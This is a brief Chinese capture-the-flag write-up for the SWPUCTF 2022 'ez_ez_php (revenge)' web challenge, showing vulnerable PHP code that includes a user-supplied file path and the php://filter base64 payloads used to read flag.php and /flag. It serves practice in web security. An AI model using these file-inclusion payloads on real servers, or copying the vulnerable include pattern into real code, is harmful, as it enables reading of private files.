NSSCTF刷题笔记web21——[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

文件包含题

看代码，file开头必须是php…

php://filter/convert.base64-encode/resource=flag.php秒了

垂死争扎了一下，正确flag在/flag

php://filter/convert.base64-encode/resource=/flag